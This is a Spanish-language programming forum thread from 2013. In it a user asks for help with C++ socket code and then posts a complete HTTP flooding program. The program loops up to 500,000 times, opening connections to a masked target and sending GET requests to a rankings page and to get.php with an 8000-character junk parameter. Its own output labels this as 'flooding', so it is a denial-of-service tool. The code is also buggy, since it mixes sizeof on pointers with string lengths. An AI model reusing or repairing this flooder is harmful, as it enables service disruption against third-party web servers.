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| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Socket en c , peticiones http .
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Autor Tema: Socket en c , peticiones http .  (Leído 3,270 veces)
ThePinkPanther

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Socket en c , peticiones http .
« en: 7 Mayo 2013, 05:27 am »

Hola, quisiera saber si esto deberia de funcionar!!

Estas son mis peticiones que luego envio por send

Código:
    const char *peticion2="GET /get.php?aA=juan HTTP/1.1 \r\n";
    const char * host="HOST: xxx.com\r\n";
    const char *peticion3="Connection: keep-alive\r\n\r\n";

send(musocket[i],peticion2,sizeof(peticion2)+longp2,0);
send(musocket[i],host,sizeof(host)+longhost,0);
send(musocket[i],peticion3,sizeof(peticion3)+longp3,0);

LLegaria bien la peticion http al servidor,estoy haciendo bien las cosas ?? , las variables long son la longitud de cadena de las constantes char.. , y el arreglo musocket,son socket conectados a un servidor web por el puerto 80 ..

gracias de antemano.


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ThePinkPanther

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Mensajes: 82



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Re: Socket en c , peticiones http .
« Respuesta #1 en: 7 Mayo 2013, 07:14 am »

Si alguien tiene tiempo , estoy tratando de hacer un programa que envie cabeceras masivas http preparadas de antemano ... si alguien tiene un poco de tiempo y revisa mi codigo, que me diga si las cabeceras se envian de la forma que quiero..

La forma que quiero es que haga una peticion GET al archivo get.php
y al ranking..
ese archivo tiene una variable aA donde se ingresan datos, y ingreso una cadena de 8000 caracteres

este programa enviaria masivamente esa cabecera con esos caracteres ? alguien puede fijarse. ?

Citar
#include <iostream>
#include <stdio.h>
#include <cstring>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#define PUERTO 80



using namespace std;
struct sockaddr_in config;
//longitudes de cadenas
void exploitr();
void exploitg();

int longitudp1; //longitud peticion1
int longitudp2; //longitud peticion2
int longitudp3; //longitud peticion3
int longitudp4; //longitud cadena al get.php
int contador; //contador cuantas veces se va a mandar los paquetes.
//

//peticiones
    const char *peticion1="GET /index.php?page_id=rankings HTTP/1.1\r\n";
    const char *peticion2="HOST: xxxx\r\n";
    const char *peticion3="Connection: keep-alive\r\n\r\n";
    const char *peticion4="GET /get.php?aA=pphamtomhamphaphamtompmtomphaphamtophmamtophamtommmmtomphpphamtomphamtomphamtomphamtomphamtomhamphamtomtomphamtophamtommaphamtophphamtomamtommphamtommphamtphamtomomtomphpphamtomphamtomphphamtophamphamtomtomphamtommamphphamtomamtophamtommtomphamtphamtomphaphamtommtomomppphamtomhamtphamtomomhamtompphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomamtomphamphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtompphamtomphamtomphamtophamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomph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HTTP/1.1\r\n";

//
int main()
{
    //configuracion
    config.sin_family=AF_INET;
    config.sin_port=htons(PUERTO);
    config.sin_addr.s_addr=inet_addr("xxxx");
    //


   do
    {
        exploitr();
        exploitg();
    }while(contador<500000);

    return 0;
}





//comienza funcion exploit al ranking
void exploitr()
{

        longitudp1=strlen(peticion1);
    longitudp2=strlen(peticion2);
    longitudp3=strlen(peticion3);

    int n;
    int *p;
p=new int;
*p=socket(AF_INET,SOCK_STREAM,0);
connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));

//Flood al ranking..
n=send(*p,peticion1,sizeof(peticion1)+longitudp1,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios. RANKING"<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas - OK RANKING"<<endl;
    n=-1;

}

n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas HOST - OK"<<endl;
    n=-1;

}
n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas Connection - OK"<<endl;
    n=-1;

}


cout<<"--------------------"<<endl;


delete []p;

return ;
}


//comienza funcion exploit al get
void exploitg()
{

    longitudp2=strlen(peticion2);
    longitudp3=strlen(peticion3);
        longitudp4=strlen(peticion4);
            int n;
    int *p;
p=new int;
*p=socket(AF_INET,SOCK_STREAM,0);
connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));


n=send(*p,peticion4,sizeof(peticion4)+longitudp4,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas GET.PHP- OK "<<endl;
    n=-1;

}

n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas HOST  - OK"<<endl;
    n=-1;

}

n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas CONECTION - OK"<<endl;
    n=-1;

}

}


//fin del programa




« Última modificación: 7 Mayo 2013, 07:16 am por ThePinkPanther » En línea

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